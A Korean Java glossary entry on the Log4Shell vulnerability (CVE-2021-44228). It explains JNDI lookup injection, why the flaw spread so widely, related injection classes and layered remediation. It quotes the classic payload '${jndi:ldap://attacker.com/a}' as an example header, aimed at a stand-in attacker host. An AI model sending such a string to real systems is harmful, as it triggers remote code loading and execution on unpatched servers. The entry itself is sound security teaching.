자바 언어·플랫폼 용어 사전
실무 사례CVE-2021-44228 · JNDI 인젝션 · 로그 인젝션

Log4Shell

로그 문자열 안의 ${jndi:...}가 원격 클래스를 불러와 실행된 취약점. 신뢰 경계의 교과서 사례.

로그로 남긴 문자열 안의 ${jndi:...}원격 코드를 불러와 실행한 취약점(CVE-2021-44228, CVSS 10.0).

무슨 일이 일어났나

log.info("User-Agent: {}", request.getHeader("User-Agent"));

공격자가 헤더에 넣는다

  • ${jndi:ldap://attacker.com/a}

Log4j 2 는 메시지 안의 ${} 를 '치환' 하는 기능을 갖고 있었다

  • JNDI 조회 수행 → 공격자 LDAP 서버 접속
  • 원격 클래스를 내려받아 역직렬화·실행 → RCE

왜 이렇게 광범위했나

  • 트리거가 '로그를 남긴다' 는 가장 평범한 행위였다
  • 헤더 · 폼 · URL · 파일명 등 입력 경로가 사실상 무한했다
  • Log4j 2 가 자바 생태계 전반에 깔려 있었다 (간접 의존 포함)
  • 로그가 여러 시스템을 거치므로 인접 시스템까지 연쇄로 뚫렸다

배울 점 — 데이터가 코드가 되는 지점

"입력을 로그로만 남겼다" 도 안전하지 않다 출력·저장·로깅 어디에서든, 데이터가 해석되는 순간이 있으면 그곳이 신뢰 경계다

같은 형태의 문제

  • SpEL / OGNL 표현식 평가 (Spring4Shell · Struts2)
  • 템플릿 엔진의 서버 사이드 템플릿 인젝션(SSTI)
  • YAML · XML 의 외부 엔티티(XXE)

공통 원인: '데이터' 로 받은 것을 '실행 가능한 표현' 으로 해석했다

대응의 순서

  • ① 버전 업 (2.17.1 이상) — 근본 대응

  • ② 임시: log4j2.formatMsgNoLookups=true, JndiLookup 클래스 제거

  • ③ 이후: SBOM 으로 간접 의존까지 목록화, 취약점 스캐너를 CI 에 상시화

  • "우리가 무엇을 쓰고 있는지 목록이 없다" 가 가장 큰 문제로 드러난 사건이었다

왜 JNDI 가 이렇게까지 위험한가

JNDI 는 이름으로 자원을 찾는 표준 API 다 (LDAP · DNS · RMI …) 그런데 LDAP/RMI 응답에는 '객체 참조' 를 담을 수 있고, 그 참조가 원격 코드베이스(URL) 를 가리킬 수 있었다

조회 → 서버가 "이 클래스를 http://attacker/x.class 에서 받아라" 응답

  • 클라이언트가 내려받아 로딩 → 정적 초기화 블록 실행 → RCE

JDK 8u191 부터 원격 코드베이스 로딩이 기본 차단됐지만 로컬 클래스패스의 가젯을 이용한 우회가 계속 발견됐다

방어 계층을 나눠 본다

  • 입력 — 길이·문자 제한 (근본 대응이 아니다 — 우회가 쉽다)

  • 처리 — 로깅 라이브러리가 문자열을 해석하지 않게 (formatMsgNoLookups)

  • 런타임 — egress 차단 — 서버가 임의 외부로 나가지 못하게 한다

    • 이 조치 하나로 다수의 RCE 체인이 끊긴다
  • 공급망 — SBOM · 의존성 스캔 · 신속한 패치 경로

  • 한 겹이 뚫려도 다음 겹이 막는 구조가 실제로 피해를 갈랐다

면접 함정

  • "로깅은 읽기만 하니 안전" → 문자열이 해석되면 실행 경로다.
  • "우리는 Log4j를 직접 안 쓴다" → 간접 의존으로 들어와 있는 경우가 대부분이었다.

함께 보면 좋은 용어

노트에서 맥락과 함께 보기 — 실무 노하우·실제 사고 사례